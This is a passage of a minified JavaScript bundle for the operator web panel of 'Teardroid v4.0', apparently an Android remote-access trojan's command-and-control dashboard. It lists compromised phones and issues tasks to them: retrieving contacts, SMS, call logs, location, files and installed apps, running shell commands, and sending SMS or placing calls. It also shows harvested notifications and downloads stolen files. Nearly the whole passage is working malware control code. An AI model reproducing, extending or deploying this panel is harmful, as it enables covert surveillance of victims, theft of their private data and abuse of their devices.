n=e.key,r=e.device_name,a=e.android_version,o=e.sim_country,i=e.sim_operator,s=e.last_online;return(0,oc.jsxs)(mf.Row,{id:n,selected:l.includes(n),position:t,children:[(0,oc.jsx)(mf.Cell,{children:(0,oc.jsx)(Sa,{variation:"strong",children:n})}),(0,oc.jsx)(mf.Cell,{children:r}),(0,oc.jsx)(mf.Cell,{children:a}),(0,oc.jsx)(mf.Cell,{children:o}),(0,oc.jsx)(mf.Cell,{children:i}),(0,oc.jsx)(mf.Cell,{children:s})]},n)}));return(0,oc.jsx)(Mf,{children:(0,oc.jsx)(mf,(t={resourceName:{singular:"client",plural:"client"},itemCount:n.length,emptyState:c,selectedItemsCount:s?"All":l.length,onSelectionChange:u,headings:[{title:"key"},{title:"Device name"},{title:"Android version"},{title:"Country"},{title:"Sim operator"},{title:"Last online"}],selectable:!1,hasMoreItems:!1,condensed:!1},(0,o.Z)(t,"hasMoreItems",!0),(0,o.Z)(t,"loading",a),(0,o.Z)(t,"children",d),t))})},km=function(){var e=ne((0,r.useState)([]),2),t=e[0],n=e[1],a=ne((0,r.useState)(!0),2),o=a[0],i=a[1],l=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,iu().get("/client/").then((function(e){n(e.data.clients)}));case 2:i(!1);case 3:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return(0,r.useEffect)((function(){var e=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,l();case 2:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();e()}),[]),(0,oc.jsxs)(Qp,{fullWidth:!0,children:[(0,oc.jsx)($r,{children:"Overview"}),(0,oc.jsxs)(ch,{children:[(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)("img",{width:"70%",src:dh})}),(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)(Em,{})})]}),(0,oc.jsx)(Sm,{client:t,isloading:o})]})},_m="Polaris-Select",Cm="Polaris-Select--disabled",Pm="Polaris-Select__Content",Nm="Polaris-Select__InlineLabel",Tm="Polaris-Select__Icon",Am="Polaris-Select__Backdrop",Mm="Polaris-Select__SelectedOption",Lm="Polaris-Select__Prefix",Om="Polaris-Select__Input",Fm="Polaris-Select--error",Im=["value","label","prefix"],jm="";function Rm(e){var t=e.options,n=e.label,a=e.labelAction,o=e.labelHidden,i=e.labelInline,l=e.disabled,s=e.helpText,u=e.placeholder,c=e.id,d=e.name,f=e.value,p=void 0===f?jm:f,h=e.error,m=e.onChange,v=e.onFocus,g=e.onBlur,b=e.requiredIndicator,y=qe("Select",c),w=!!i||o,x=Xe(_m,h&&Fm,l&&Cm),E=m?function(e){return m(e.currentTarget.value,y)}:void 0,S=[];s&&S.push(Hl(y)),h&&S.push("".concat(y,"Error"));var k=(t||[]).map(zm);u&&(k=[{label:u,value:jm,disabled:!0}].concat(te(k)));var _=i&&r.createElement("span",{className:Nm},n),C=function(e,t){var n=function(e){var t=[];return e.forEach((function(e){Dm(e)?t=t.concat(e.options):t.push(e)})),t}(e),r=n.find((function(e){return t===e.value}));void 0===r&&(r=n.find((function(e){return!e.hidden})));return r||{value:"",label:""}}(k,p),P=C.prefix&&r.createElement("div",{className:Lm},C.prefix),N=r.createElement("div",{className:Pm,"aria-hidden":!0,"aria-disabled":l},_,P,r.createElement("span",{className:Mm},C.label),r.createElement("span",{className:Tm},r.createElement(zt,{source:Jr}))),T=k.map(Wm);return r.createElement(Dl,{id:y,label:n,error:h,action:a,labelHidden:w,helpText:s,requiredIndicator:b},r.createElement("div",{className:x},r.createElement("select",{id:y,name:d,value:p,className:Om,disabled:l,onFocus:v,onBlur:g,onChange:E,"aria-invalid":Boolean(h),"aria-describedby":S.length?S.join(" "):void 0,"aria-required":b},T),N,r.createElement("div",{className:Am})))}function Bm(e){return"string"===typeof e}function Dm(e){return"object"===typeof e&&"options"in e&&null!=e.options}function Hm(e){return{label:e,value:e}}function zm(e){return Bm(e)?Hm(e):Dm(e)?{title:e.title,options:e.options.map((function(e){return Bm(e)?Hm(e):e}))}:e}function Um(e){var t=e.value,n=e.label,a=(e.prefix,u(e,Im));return r.createElement("option",Object.assign({key:t,value:t},a),n)}function Wm(e){if(Dm(e)){var t=e.title,n=e.options;return r.createElement("optgroup",{label:t,key:t},n.map(Um))}return Um(e)}var Vm,qm,Zm,Km=function(e){var t=e.selected,n=e.setSelected,a=(0,r.useCallback)((function(e){return n(e)}),[]);return(0,oc.jsx)(Rm,{label:"Select Action : ",options:[{value:"Select Task",label:"Select Task"},{value:"getcontact",label:"Retrive Contact"},{value:"getsms",label:"Retrive SMS"},{value:"getservices",label:"Retrive Services"},{value:"getlocation",label:"Retrive Device Location"},{value:"getcalllogs",label:"Retrive Call Logs"},{value:"runshell",label:"Run Shell Command"},{value:"changewallpaper",label:"Change Wallpaper"},{value:"listfile",label:"Retrive File Location"},{value:"sendsms",label:"Send SMS"},{value:"makecall",label:"Make Call"},{value:"getapps",label:"Get Installed Apps"},{value:"getfile",label:"Retrive File"}],onChange:a,value:t,labelInline:!0})},Gm=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Vm||(Vm=r.createElement("path",{fillRule:"evenodd",d:"M7.992 2.124a1 1 0 1 0-1.984-.248L5.618 5H2a1 1 0 0 0 0 2h3.367l-.75 6H2a1 1 0 1 0 0 2h2.367l-.36 2.876a1 1 0 1 0 1.985.248L6.382 15h5.985l-.36 2.876a1 1 0 0 0 1.985.248l.39-3.124H18a1 1 0 1 0 0-2h-3.367l.75-6H18a1 1 0 1 0 0-2h-2.367l.36-2.876a1 1 0 1 0-1.985-.248L13.618 5H7.632l.36-2.876zM12.617 13l.75-6H7.383l-.75 6h5.984z"})))},$m=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),qm||(qm=r.createElement("path",{fillRule:"evenodd",d:"M14 4h3a1 1 0 0 1 1 1v1H2V5a1 1 0 0 1 1-1h3V1.5A1.5 1.5 0 0 1 7.5 0h5A1.5 1.5 0 0 1 14 1.5V4zM8 2v2h4V2H8zM3 8h14v10.5a1.5 1.5 0 0 1-1.5 1.5h-11A1.5 1.5 0 0 1 3 18.5V8zm4 3H5v6h2v-6zm4 0H9v6h2v-6zm2 0h2v6h-2v-6z"})))},Ym=function(e){var t=e.selected,n=e.setSelected,a=(0,r.useCallback)((function(e){return n(e)}),[]),o=ne((0,r.useState)([]),2),i=o[0],l=o[1];return(0,r.useEffect)((function(){iu().get("/client/").then((function(e){var t=[{value:"Select User",label:"Select User"}];e.data.clients.map((function(e){t.push({value:e.key,label:e.key})})),l(t)}))}),[]),(0,oc.jsx)(Rm,{label:"Device Key : ",options:i,onChange:a,value:t,labelInline:!0})},Qm=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Zm||(Zm=r.createElement("path",{d:"m11.414 10 4.293-4.293a.999.999 0 1 0-1.414-1.414L10 8.586 5.707 4.293a.999.999 0 1 0-1.414 1.414L8.586 10l-4.293 4.293a.999.999 0 1 0 1.414 1.414L10 11.414l4.293 4.293a.997.997 0 0 0 1.414 0 .999.999 0 0 0 0-1.414L11.414 10z"})))},Xm=function(e){var t=e.active,n=e.setActive,a=e.fetchCommand,o=ne((0,r.useState)(null),2),i=o[0],l=o[1],s=ne((0,r.useState)(null),2),u=s[0],c=s[1],d=(0,r.useCallback)((function(){return n((function(e){return!e}))}),[]),f=ne((0,r.useState)(null),2),p=f[0],h=f[1],m=ne((0,r.useState)(null),2),v=m[0],g=m[1],b=ne((0,r.useState)(null),2),y=b[0],w=b[1],x=(0,r.useCallback)((function(e){return h(e)}),[]),E=(0,r.useCallback)((function(e){return w(e)}),[]),S=(0,r.useCallback)((function(e){return g(e)}),[]),k=function(){return"runshell"===u?(0,oc.jsx)(Vr,{vertical:!0,children:(0,oc.jsx)(Ql,{label:"Command : ",value:p,placeholder:"uname -a",onChange:x,autoComplete:"off",focused:!0})}):"sendsms"===u?(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Ql,{label:"Phone Number : ",value:v,placeholder:"Example: 0000000000",onChange:S,autoComplete:"off",focused:!0}),(0,oc.jsx)(Ql,{label:"Text Content : ",value:y,placeholder:"Example: hello from hacker",onChange:E,autoComplete:"off",focused:!0})]}):"makecall"===u?(0,oc.jsx)(Vr,{vertical:!0,children:(0,oc.jsx)(Ql,{label:"Phone Number : ",value:v,placeholder:"Example: 0000000000",onChange:S,autoComplete:"off",focused:!0})}):"changewallpaper"===u?(0,oc.jsx)(Vr,{vertical:!0,children:(0,oc.jsx)(Ql,{label:"Wallpaper URL : ",value:y,placeholder:"Example: https://example.com/wallpaper.jpg",onChange:E,autoComplete:"off",focused:!0})}):"listfile"===u?(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Sa,{variation:"subdued",children:"Base Folder : /storage/emulated/0/"}),(0,oc.jsx)(Ql,{label:"Folder Path : ",value:y,placeholder:"Example: /storage/emulated/0/Pictures",onChange:E,autoComplete:"off",focused:!0})]}):"getfile"===u?(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Sa,{variation:"subdued",children:"Base Folder : /storage/emulated/0/Pictures/example.jpg"}),(0,oc.jsx)(Ql,{label:"File Path : ",value:y,placeholder:"Example: /storage/emulated/0/Pictures/example.jpg",onChange:E,autoComplete:"off",focused:!0})]}):(0,oc.jsx)("div",{})};return(0,oc.jsx)("div",{style:{height:"500px"},children:(0,oc.jsx)(ll,{large:!0,open:t,onClose:d,title:"Run Task",primaryAction:{content:"Execute",onAction:function(){!function(){var e={device_id:i,command:u,shell:p,number:v,data:y};iu().post("/command/add",e).then((function(t){console.log(e),$u.success("Task Added Successfully"),h(null),g(null),w(null)})).catch((function(e){$u.error("Error Occured")}))}(),d(),a()},icon:nu},secondaryActions:[{content:"Cancel",onAction:d,icon:Qm}],children:(0,oc.jsxs)(ll.Section,{children:[(0,oc.jsxs)(ch,{children:[(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)(Ym,{selected:i,setSelected:l})}),(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)(Km,{selected:u,setSelected:c})})]}),(0,oc.jsx)("br",{}),(0,oc.jsx)(k,{})]})})})};function Jm(e){return function(t,n){var r=e.firstVisibleColumnIndex,a=e.tableLeftVisibleEdge,o=e.tableRightVisibleEdge,i=t.offsetLeft,l=i+t.offsetWidth,s=ev(i,a,o),u=ev(l,a,o),c=s||u;return c&&(e.firstVisibleColumnIndex=Math.min(r,n)),{leftEdge:i,rightEdge:l,isVisible:c}}}function ev(e,t,n){return e>=t+30&&e<=n-30}function tv(e,t){var n=e.firstVisibleColumnIndex;return{previousColumn:t[Math.max(n-1,0)],currentColumn:t[n]}}var nv={DataTable:"Polaris-DataTable",condensed:"Polaris-DataTable--condensed",Navigation:"Polaris-DataTable__Navigation",Pip:"Polaris-DataTable__Pip","Pip-visible":"Polaris-DataTable__Pip--visible",ScrollContainer:"Polaris-DataTable__ScrollContainer",Table:"Polaris-DataTable__Table",hoverable:"Polaris-DataTable--hoverable",Cell:"Polaris-DataTable__Cell",TableRow:"Polaris-DataTable__TableRow","Cell-firstColumn":"Polaris-DataTable__Cell--firstColumn","Cell-numeric":"Polaris-DataTable__Cell--numeric","Cell-truncated":"Polaris-DataTable__Cell--truncated","Cell-header":"Polaris-DataTable__Cell--header","Cell-sortable":"Polaris-DataTable__Cell--sortable","Cell-verticalAlignTop":"Polaris-DataTable__Cell--verticalAlignTop","Cell-verticalAlignBottom":"Polaris-DataTable__Cell--verticalAlignBottom","Cell-verticalAlignMiddle":"Polaris-DataTable__Cell--verticalAlignMiddle","Cell-verticalAlignBaseline":"Polaris-DataTable__Cell--verticalAlignBaseline",Icon:"Polaris-DataTable__Icon",Heading:"Polaris-DataTable__Heading","Heading-left":"Polaris-DataTable__Heading--left","Cell-sorted":"Polaris-DataTable__Cell--sorted","Cell-total":"Polaris-DataTable__Cell--total","Cell-total-footer":"Polaris-DataTable--cellTotalFooter",Footer:"Polaris-DataTable__Footer"};function rv(e){var t=e.content,n=e.contentType,a=e.firstColumn,o=e.truncate,i=e.header,l=e.total,s=e.totalInFooter,u=e.sorted,c=e.sortable,d=e.sortDirection,f=e.verticalAlign,p=void 0===f?"top":f,h=e.defaultSortDirection,m=void 0===h?"ascending":h,v=e.onSort,g=e.colSpan,b=jt(),y="numeric"===n,w=Xe(nv.Cell,nv["Cell-".concat(Je("verticalAlign",p))],a&&nv["Cell-firstColumn"],a&&o&&nv["Cell-truncated"],i&&nv["Cell-header"],l&&nv["Cell-total"],s&&nv["Cell-total-footer"],y&&nv["Cell-numeric"],c&&nv["Cell-sortable"],u&&nv["Cell-sorted"]),x=Xe(i&&nv.Heading,i&&"text"===n&&nv["Heading-left"]),E=Xe(c&&nv.Icon),S=u&&d?d:m,k="descending"===S?Xr:ea,_="ascending"===d?"descending":"ascending",C=b.translate("Polaris.DataTable.sortAccessibilityLabel",{direction:u?_:S}),P=r.createElement("span",{className:E},r.createElement(zt,{source:k,accessibilityLabel:C})),N=c?r.createElement("button",{className:x,onClick:v},P,t):t,T=g&&g>1?{colSpan:g}:{},A=i?r.createElement("th",Object.assign({},L,T,{className:w,scope:"col","aria-sort":d}),N):r.createElement("th",Object.assign({className:w,scope:"row"},T),t);return i||a?A:r.createElement("td",Object.assign({className:w},T),t)}function av(e){var t=e.columnVisibilityData,n=e.isScrolledFarthestLeft,a=e.isScrolledFarthestRight,o=e.navigateTableLeft,i=e.navigateTableRight,l=jt(),s=t.map((function(e,t){var n=Xe(nv.Pip,e.isVisible&&nv["Pip-visible"]);return r.createElement("div",{className:n,key:"pip-".concat(t)})})),u=l.translate("Polaris.DataTable.navAccessibilityLabel",{direction:"left"}),c=l.translate("Polaris.DataTable.navAccessibilityLabel",{direction:"right"});return r.createElement("div",{className:nv.Navigation},r.createElement(Ma,{plain:!0,icon:dp,disabled:n,accessibilityLabel:u,onClick:o}),s,r.createElement(Ma,{plain:!0,icon:fp,disabled:a,accessibilityLabel:c,onClick:i}))}var ov=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var a=arguments.length,o=new Array(a),i=0;ir.clientWidth),e.setState(l({condensed:a},e.calculateColumnVisibilityData(a)))})),e.calculateColumnVisibilityData=function(t){var n=b(e),r=n.table.current,a=n.scrollContainer.current,o=n.dataTable.current;if(t&&r&&a&&o){var i=r.querySelectorAll(O);if(i.length>0){var s=i.length-1,u=a.scrollLeft,c=a.scrollLeft+o.offsetWidth,d={firstVisibleColumnIndex:s,tableLeftVisibleEdge:u,tableRightVisibleEdge:c},f=te(i).map(Jm(d)),p=f[f.length-1];return l(l({columnVisibilityData:f},tv(d,f)),{},{isScrolledFarthestLeft:0===u,isScrolledFarthestRight:p.rightEdge<=c})}}return{columnVisibilityData:[],previousColumn:void 0,currentColumn:void 0}},e.scrollListener=function(){e.setState((function(t){return l({},e.calculateColumnVisibilityData(t.condensed))}))},e.navigateTable=function(t){var n=e.state,r=n.currentColumn,a=n.previousColumn,o=e.scrollContainer.current;return function(){r&&a&&o&&(o.scrollLeft="right"===t?r.rightEdge:a.leftEdge,requestAnimationFrame((function(){e.setState((function(t){return l({},e.calculateColumnVisibilityData(t.condensed))}))})))}},e.renderHeadings=function(t,n){var a,o=e.props,i=o.sortable,l=o.truncate,s=void 0!==l&&l,u=o.columnContentTypes,c=o.defaultSortDirection,d=o.initialSortColumnIndex,f=void 0===d?0:d,p=o.verticalAlign,h=e.state,m=h.sortDirection,v=void 0===m?c:m,g=h.sortedColumnIndex,b=void 0===g?f:g,y="heading-cell-".concat(n);if(i){var w=i[n],x=w&&b===n;a={defaultSortDirection:c,sorted:x,sortable:w,sortDirection:x?v:"none",onSort:e.defaultOnSort(n)}}return r.createElement(rv,Object.assign({header:!0,key:y,content:t,contentType:u[n],firstColumn:0===n,truncate:s},a,{verticalAlign:p}))},e.totalsRowHeading=function(){var t=e.props,n=t.i18n,r=t.totals,a=t.totalsName,o=a||{singular:n.translate("Polaris.DataTable.totalRowHeading"),plural:n.translate("Polaris.DataTable.totalsRowHeading")};return r&&r.filter((function(e){return""!==e})).length>1?o.plural:o.singular},e.renderTotals=function(t,n){var a,o,i="totals-cell-".concat(n),l=e.props,s=l.truncate,u=void 0!==s&&s,c=l.verticalAlign;0===n&&(a=e.totalsRowHeading()),""!==t&&n>0&&(o="numeric",a=t);var d=e.props.showTotalsInFooter;return r.createElement(rv,{total:!0,totalInFooter:d,firstColumn:0===n,key:i,content:a,contentType:o,truncate:u,verticalAlign:c})},e.getColSpan=function(e,t,n,r){var a=e||1,o=t||n,i=Math.floor(o/a);return 0===r?i+o%a:i},e.defaultRenderRow=function(t,n){var a=e.props,o=a.columnContentTypes,i=a.truncate,l=void 0!==i&&i,s=a.verticalAlign,u=a.hoverable,c=void 0===u||u,d=a.headings,f=Xe(nv.TableRow,c&&nv.hoverable);return r.createElement("tr",{key:"row-".concat(n),className:f},t.map((function(a,i){var u="cell-".concat(i,"-row-").concat(n),c=e.getColSpan(t.length,d.length,o.length,i);return r.createElement(rv,{key:u,content:a,contentType:o[i],firstColumn:0===i,truncate:l,verticalAlign:s,colSpan:c})})))},e.defaultOnSort=function(t){var n=e.props,r=n.onSort,a=n.defaultSortDirection,o=void 0===a?"ascending":a,i=n.initialSortColumnIndex,l=e.state,s=l.sortDirection,u=void 0===s?o:s,c=l.sortedColumnIndex,d=o;(void 0===c?i:c)===t&&(d="ascending"===u?"descending":"ascending");return function(){e.setState({sortDirection:d,sortedColumnIndex:t},(function(){r&&r(t,d)}))}},e}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){this.handleResize()}},{key:"componentDidUpdate",value:function(e){De()(e,this.props)||this.handleResize()}},{key:"componentWillUnmount",value:function(){this.handleResize.cancel()}},{key:"render",value:function(){var e=this.props,t=e.headings,n=e.totals,a=e.showTotalsInFooter,o=e.rows,i=e.footerContent,l=e.hideScrollIndicator,s=void 0!==l&&l,u=this.state,c=u.condensed,d=u.columnVisibilityData,f=u.isScrolledFarthestLeft,p=u.isScrolledFarthestRight,h=Xe(nv.DataTable,c&&nv.condensed),m=Xe(nv.TableWrapper,c&&nv.condensed),v=r.createElement("tr",null,t.map(this.renderHeadings)),g=n?r.createElement("tr",null,n.map(this.renderTotals)):null,b=o.map(this.defaultRenderRow),y=i?r.createElement("div",{className:nv.Footer},i):null,w=a?null:g,x=a?r.createElement("tfoot",null,g):null,E=s?null:r.createElement(av,{columnVisibilityData:d,isScrolledFarthestLeft:f,isScrolledFarthestRight:p,navigateTableLeft:this.navigateTable("left"),navigateTableRight:this.navigateTable("right")});return r.createElement("div",{className:m},E,r.createElement("div",{className:h,ref:this.dataTable},r.createElement("div",{className:nv.ScrollContainer,ref:this.scrollContainer},r.createElement(Te,{event:"resize",handler:this.handleResize}),r.createElement(Te,{capture:!0,event:"scroll",handler:this.scrollListener}),r.createElement("table",{className:nv.Table,ref:this.table},r.createElement("thead",null,v,w),r.createElement("tbody",null,b),x)),y))}}]),n}(r.PureComponent);function iv(e){var t=jt();return r.createElement(ov,Object.assign({},e,{i18n:t}))}var lv,sv,uv=function(e){var t=e.active,n=e.setActive,a=e.keyid,o=e.command,i=(0,r.useCallback)((function(){return n((function(e){return!e}))}),[]),l=ne((0,r.useState)([]),2),s=l[0],u=l[1],c=ne((0,r.useState)([]),2),d=c[0],f=c[1];return(0,r.useEffect)((function(){iu().get("command/response/".concat(a)).then((function(e){e.data.success&&(u(e.data.header),f(e.data.response))})).catch((function(e){console.error(e)}))}),[a,t]),"runshell"===o||"getservices"===o||"getapps"===o?(0,oc.jsx)(ll,{large:!0,open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(Zr,{children:d.map((function(e){return(0,oc.jsxs)(Sa,{variation:"subdued",children:[e,(0,oc.jsx)("br",{})]})}))})}):"listfile"===o?(0,oc.jsx)(ll,{large:!0,open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(Zr,{children:void 0!==d?d.map((function(e){return(0,oc.jsxs)(Sa,{variation:"subdued",children:[e,(0,oc.jsx)("br",{})]})})):"No file found"})}):"getcontact"===o?(0,oc.jsx)(ll,{open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(Zr,{children:void 0!==d?d.map((function(e){return(0,oc.jsxs)(Sa,{variation:"subdued",children:[console.log(e[0]+" : "+e[1]),e[0]+": "+e[1],(0,oc.jsx)("br",{})]})})):"No file found"})}):(0,oc.jsx)("div",{style:{overflow:"hidden"},children:(0,oc.jsx)(ll,{large:!0,open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(iv,{columnContentTypes:void 0!==s?s.map((function(e){return"text"})):[],headings:s,rows:d,hideScrollIndicator:!1})})})},cv=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),lv||(lv=r.createElement("path",{d:"M7 18a.997.997 0 0 1-.707-.293l-6-6a1 1 0 0 1 1.414-1.414l5.236 5.236 11.298-13.18a1 1 0 0 1 1.518 1.3l-12 14a1.001 1.001 0 0 1-.721.35H7"})))},dv=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),sv||(sv=r.createElement("path",{d:"M4.333 1C3.64 1 3 1.555 3 2.332v15.335a1.328 1.328 0 0 0 2.014 1.143l12.787-7.665a1.33 1.33 0 0 0 0-2.283L5.015 1.192A1.326 1.326 0 0 0 4.333 1zM5 3.515l10.815 6.488L5 16.485V3.515z"})))},fv=function(e){var t=e.keyid,n=e.device_name,a=e.command,o=e.date,i=e.complete,l=e.update,s=e.setUpdate,u=ne((0,r.useState)(!1),2),c=u[0],d=u[1],f=(0,r.useCallback)((function(){return d((function(e){return!e}))}),[]),p=(Nc(),function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if("changewallpaper"!==a&&"makecall"!==a&&"sendsms"!==a){e.next=4;break}$u.success("Task Executed Successfully"),e.next=15;break;case 4:if("getlocation"!==a){e.next=9;break}return e.next=7,iu().get("/command/response/".concat(t)).then((function(e){var t=e.data.response;window.open("https://maps.google.com/?q=".concat(t.latitude,",").concat(t.longitude))}));case 7:e.next=15;break;case 9:if("getfile"!==a){e.next=14;break}return e.next=12,iu().get("/command/response/".concat(t)).then((function(e){var t=e.data.response;window.open(window.location.protocol+"//"+window.location.hostname+":"+window.location.port+"/command/download/"+t)}));case 12:e.next=15;break;case 14:f();case 15:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}()),h=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:iu().get("/command/delete/id/".concat(t)).then((function(e){$u.success(e.data.message),s(!l)})).catch((function(e){$u.error("Error Deleting Task")}));case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),m=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:$u.error("There was an error");case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return(0,oc.jsxs)(Mf,{children:[(0,oc.jsx)("div",{style:{padding:"10px"},children:(0,oc.jsxs)(Vr,{vertical:!1,distribution:"equalSpacing",children:[(0,oc.jsxs)(Vr,{spacing:"extraTight",children:[(0,oc.jsx)(zt,{source:Gm,color:"highlight"}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Key : ",t]})]}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Device id : ",n]}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Command : ",a]}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Date : ",o]}),(0,oc.jsxs)(Vr,{spacing:"extraTight",children:[(0,oc.jsx)(Sa,{variation:"strong",children:"Complete : "}),(0,oc.jsx)(zt,{source:i?cv:Bi,color:"highlight"})]}),(0,oc.jsx)("div",{onClick:Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,h();case 2:return e.abrupt("return",e.sent);case 3:case"end":return e.stop()}}),e)}))),style:{cursor:"pointer"},children:(0,oc.jsx)(zt,{source:$m,color:"highlight"})}),(0,oc.jsx)("div",{onClick:Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!i){e.next=6;break}return e.next=3,p();case 3:e.t0=e.sent,e.next=9;break;case 6:return e.next=8,m();case 8:e.t0=e.sent;case 9:return e.abrupt("return",e.t0);case 10:case"end":return e.stop()}}),e)}))),style:{cursor:"pointer"},children:(0,oc.jsx)(zt,{source:dv,color:"highlight"})})]})}),(0,oc.jsx)(uv,{active:c,setActive:d,keyid:t,command:a,success:i})]})},pv=function(){var e=ne((0,r.useState)(!1),2),t=e[0],n=e[1],a=ne((0,r.useState)([]),2),o=a[0],i=a[1],l=ne((0,r.useState)(!1),2),s=l[0],u=l[1],c=function(){iu().get("/command/").then((function(e){var t=e.data.command.map((function(e){return(0,oc.jsx)(fv,{keyid:e.key,device_name:e.device_id,command:e.command,date:e.date,complete:e.success,update:s,setUpdate:u},e.key)}));i(t)})).catch((function(e){console.error(e)}))};return(0,r.useEffect)((function(){var e=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:c();case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();e()}),[s]),(0,oc.jsxs)(Qp,{fullWidth:!0,children:[(0,oc.jsx)($r,{children:"Task Manager"}),(0,oc.jsx)("br",{}),(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsxs)(Vr,{distribution:"equalSpacing",children:[(0,oc.jsx)(Ma,{primary:!0,icon:Gm,onClick:function(){return n(!0)},children:"Run Task"}),(0,oc.jsx)(Ma,{destructive:!0,icon:$m,onClick:function(){iu().get("/command/delete/all").then((function(e){$u.success(e.data.message),i([])})).catch((function(e){$u.error("Error Deleting All Tasks")}))},children:"Delele All Task"})]}),o]}),(0,oc.jsx)(Xm,{active:t,setActive:n,fetchCommand:c})]})},hv=function(e){var t=e.selected,n=e.setSelected,a=(0,r.useCallback)((function(e){return n(e)}),[]),o=ne((0,r.useState)([]),2),i=o[0],l=o[1];return(0,r.useEffect)((function(){iu().get("/client/").then((function(e){var t=[{value:"Select User",label:"Select User"}];e.data.clients.map((function(e){t.push({value:e.key,label:e.key})})),l(t)}))}),[]),(0,oc.jsx)(Rm,{label:"Device Key : ",options:i,onChange:a,value:t,labelInline:!0})},mv=function(){var e=ne((0,r.useState)(""),2),t=e[0],n=e[1],a=ne((0,r.useState)([]),2),o=a[0],i=a[1],l=function(){""!==t&&iu().get("/notification/device/".concat(t)).then((function(e){i(e.data.notification)})).catch((function(e){console.error(e)}))};(0,r.useEffect)((function(){l()}),[t]);return(0,oc.jsxs)(Qp,{fullWidth:!0,children:[(0,oc.jsx)($r,{children:"Notification"}),(0,oc.jsx)("br",{}),(0,oc.jsxs)(Vr,{distribution:"equalSpacing",children:[(0,oc.jsx)(hv,{selected:t,setSelected:n}),(0,oc.jsx)(Ma,{destructive:!0,onClick:function(){return iu().get("/notification/delete/".concat(t)).then((function(e){$u.success(e.data.message)})).catch((function(e){$u.error("Error Deleting All Notification")})),void l()},children:"Delete All Notification"})]}),(0,oc.jsx)(Mf,{children:(0,oc.jsx)(iv,{columnContentTypes:["text","text","text","text","text"],headings:["Package","Date","Device_id","Notification Body","Title Text"],rows:o})})]})},vv=n(7060),gv=function(){var e=ne((0,r.useState)(""),2),t=e[0],n=e[1],a=ne((0,r.useState)(""),2),o=a[0],i=a[1],l=(Nc(),function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,iu().post("/auth/login",{username:t,password:o}).then(function(){var e=Qu(ec().mark((function e(t){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,nc(t.data.token);case 2:iu().defaults.headers.common.Authorization="Bearer ".concat(t.data.token),$u.success(t.data.message);case 4:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}()).catch((function(e){$u.error(e.response.data.detail)}));case 2:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}());return(0,oc.jsxs)(Qp,{title:"Administrator login portal",children:[(0,oc.jsx)("img",{src:vv,width:"40%"}),(0,oc.jsx)(ch,{children:(0,oc.jsx)(ch.AnnotatedSection,{title:"Teardroid v4.0",description:"Please change your defualt password ones your login for the first time",children:(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Ql,{label:"Username",value:t,onChange:function(e){return n(e)}}),(0,oc.jsx)(Ql,{label:"Password",value:o,onChange:function(e){return i(e)}}),(0,oc.jsx)(Ma,{primary:!0,onClick:Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,l();case 2:return e.abrupt("return",e.sent);case 3:case"end":return e.stop()}}),e)}))),children:"Login"})]})})})]})},bv=["children","url"];function yv(e){var t=e.children,n=e.url,r=void 0===n?"":n,a=u(e,bv);return function(e){return/^(?:[a-z][a-z\d+.-]*:|\/\/)/.test(e)}(r)||a.download?(0,oc.jsx)("a",l(l({href:r},a),{},{children:t})):(0,oc.jsx)($c,l(l({to:r},a),{},{children:t}))}var 